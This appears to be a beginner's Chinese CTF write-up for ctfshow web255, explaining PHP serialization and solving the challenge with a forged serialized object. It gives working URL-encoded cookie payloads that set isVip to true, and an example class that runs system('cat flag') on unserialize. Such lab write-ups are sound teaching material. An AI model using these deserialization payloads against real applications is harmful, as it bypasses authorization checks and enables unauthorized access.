ctfshow-web255

(sql注入太难了,所以先跳到反序列化,我这块也是第一次接触所以又要从头开始,什么魔术方法pop链之类的啥都不懂,但好处是又能从小白的视角看问题了)

一.前置知识

1.什么是序列化

一句话理解:

把"程序里的对象 / 数据结构" → 变成"可以存储或传输的字符串/字节流",依旧看例子:

php 复制代码
$user = [
  "name" => "admin",
  "isLogin" => true
];

经过序列化之后是这么输出的:

php 复制代码
a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}

这里还要讲一下这里面冒出来的字母是啥:

这里true就是返回1,false就是返回0,然后数字就是字符串长度。

这样做的目的:

  • 存到 cookie

  • 存到 session

  • 存到 文件 / 数据库

  • 通过 HTTP 传给前端 / 其他服务

2.什么是反序列化

同样的一句话理解:

把"字符串/字节流" → 还原回"程序里的对象 / 数据结构"【相当于倒一下】

php 复制代码
$data = 'a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}';
$user = unserialize($data);

3.有啥用

这里还是举个例子:

php 复制代码
<?php
class User {
    public $isAdmin = false;

    function __destruct() {
        if ($this->isAdmin) {
            system("cat flag");
        }
    }
}

$data = $_GET['data'];
unserialize($data);

正常逻辑:反序列化一个 User 对象 然后$isAdmin的值默认为false

然后在这里攻击者就可以构造一个序列化字符串:

php 复制代码
O:4:"User":1:{s:7:"isAdmin";b:1;}

通过get方式传给服务器,那么就会发生:

PHP 把字符串还原成一个 User 对象

$isAdmin = true

脚本结束 → 自动调用 __destruct()

system("cat flag") 执行

flag 到手

二:具体题目

放出的代码是这样的:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
// 定义一个用户类
class ctfShowUser{
    // 公共属性:用户名,默认值是 xxxxxx
    public $username='xxxxxx';
    // 公共属性:密码,默认值是 xxxxxx
    public $password='xxxxxx';
    // 是否是 VIP,默认 false(不是 VIP)
    public $isVip=false;
    // 检查当前对象是不是 VIP
    public function checkVip(){
        // $this 指的是"当前这个对象"
        // 返回对象里的 isVip 属性
        return $this->isVip;
    }
    // 登录函数,只做校验,不修改 isVip
    public function login($u,$p){
        // 判断:
        // 1. 对象里的 username 是否等于用户传进来的 $u
        // 2. 对象里的 password 是否等于用户传进来的 $p
        // === 是全等比较(值和类型都要一样)
        // 返回 true 或 false
        return $this->username === $u && $this->password === $p;
    }
    // VIP 一键拿 flag 的函数
    public function vipOneKeyGetFlag(){
        // 如果当前对象是 VIP
        if($this->isVip){
            // 使用全局变量 $flag(来自 flag.php)
            global $flag;
            // 输出 flag
            echo "your flag is ".$flag;
        }else{
            // 如果不是 VIP
            echo "no vip, no flag";
        }
    }
}
// 从 GET 参数中获取用户名和密码(攻击者可控)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要 username 和 password 都存在,就继续执行
if(isset($username) && isset($password)){
    // ★★★ 核心漏洞 ★★★
    // 从 Cookie 中取 user,然后直接反序列化
    // Cookie 是用户可控的
    // 所以这里存在"反序列化漏洞"
    $user = unserialize($_COOKIE['user']);    
    // 调用 login 方法,用 GET 传进来的用户名和密码做校验
    if($user->login($username,$password)){
        // 如果登录校验通过,再检查是否是 VIP
        if($user->checkVip()){
            // 如果是 VIP,就输出 flag
            $user->vipOneKeyGetFlag();
        }
    }else{
        // 登录校验失败
        echo "no vip,no flag";
    }
}

这串代码的关键首先就是usernamepassword ,直接给出了默认都为xxxxxx,并且是通过get方式传参,那么最开始便是在URL里面输入username和password这两个值:

css 复制代码
?username=xxxxxx&password=xxxxxx

然后后面的关键就是如何写出user序列化后的代码,这里先给出来再一一解释:

php 复制代码
O:11:"ctfShowUser":3:{
  s:8:"username";s:6:"xxxxxx";
  s:8:"password";s:6:"xxxxxx";
  s:5:"isVip";b:1;
}

1.O ------ Object(对象)

php 复制代码
O → 这是一个对象

PHP 知道要还原的是 对象,不是数组

2:"ctfShowUser" ------ 类名

css 复制代码
ctfShowUser → 11 个字符

类名必须完全一样,不然反序列化出来的是"未知类",方法根本调不了。

3.属性数量

css 复制代码
:3:

表示这个对象里有 3 个属性,username,password,$isVip

4.{ ... } ------ 属性内容

这里的关键是isVIP:

css 复制代码
s:5:"isVip";
b:1;

b:1代表True,这样才能表示是真的VIP

这里其实可以简写,就是不写username和password,原因得看之前的代码:

php 复制代码
public function login($u,$p){
    return $this->username === $u && $this->password === $p;
}

用人话讲就是如果 对象自己的用户名 等于 我们传进来的用户名 并且对象自己的密码 等于 我们传进来的密码那就返回 true,那么假设我们就传一个:

php 复制代码
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

那么实际上其实是这样的:

php 复制代码
$user->username = 'xxxxxx'; // 默认值
$user->password = 'xxxxxx'; // 默认值
$user->isVip    = true;

然后我们的url里的password和username都为默认值,那么刚好一一对应,最后就能echo flag

注意要**对序列化字符串进行URL编码,**即我们最后的payload为:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

或者:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

要编码的原因是序列化字符串中包含:

css 复制代码
: ; " { }

这些在 HTTP Cookie 中是分隔符 / 非法字符,不编码会被浏览器或服务器截断

三:总结

第一次接触反序列化,最大的感受其实不是"技术有多复杂",而是代码真的会把我们伪造的数据当成"真实对象"来使用

这道题并没有用到魔术方法、POP 链这些进阶技巧,而是最基础、也最容易被忽略的一点:反序列化 + 默认值 + 逻辑校验

从序列化字符串的格式,到对象属性如何影响程序判断,再到为什么要 URL 编码,每一步都是在回答一个问题------
"程序到底是怎么一步步相信我的?"

理解了这一点,反序列化就不再是"玄学漏洞",而是一条清晰可追踪的执行流程。

后面无论是魔术方法还是 POP 链,本质也都是在这条思路上继续往前走。

相关推荐
寻星探路2 小时前
【深度长文】万字攻克网络原理:从 HTTP 报文解构到 HTTPS 终极加密逻辑
java·开发语言·网络·python·http·ai·https
崔庆才丨静觅4 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
曹牧5 小时前
Spring Boot:如何测试Java Controller中的POST请求?
java·开发语言
passerby60615 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了5 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅5 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅5 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
爬山算法5 小时前
Hibernate(90)如何在故障注入测试中使用Hibernate?
java·后端·hibernate
七夜zippoe5 小时前
CANN Runtime任务描述序列化与持久化源码深度解码
大数据·运维·服务器·cann